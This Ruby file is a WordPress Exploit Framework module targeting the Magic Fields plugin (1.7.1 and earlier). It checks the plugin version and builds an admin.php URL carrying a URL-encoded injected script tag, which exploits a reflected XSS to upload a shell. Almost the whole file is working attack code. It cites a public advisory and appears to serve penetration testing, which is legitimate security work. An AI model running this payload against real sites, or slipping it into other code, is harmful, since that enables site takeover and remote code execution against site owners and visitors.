# frozen_string_literal: true

class Wpxf::Exploit::MagicFieldsReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Magic Fields <= 1.7.1 Reflected XSS Shell Upload',
      author: [
        'Burak Kelebek', # Discovery
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8756'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_magic_fields_1_wordpress_plugin.html']
      ],
      date: 'Mar 01 2017'
    )
  end

  def check
    check_plugin_version_from_readme('Magic-Fields', '1.7.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=MagicFieldsMenu"\
    "&custom-write-panel-id=1%22%2F%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E"\
    '&mf_action=finish-create-custom-field'
  end
end
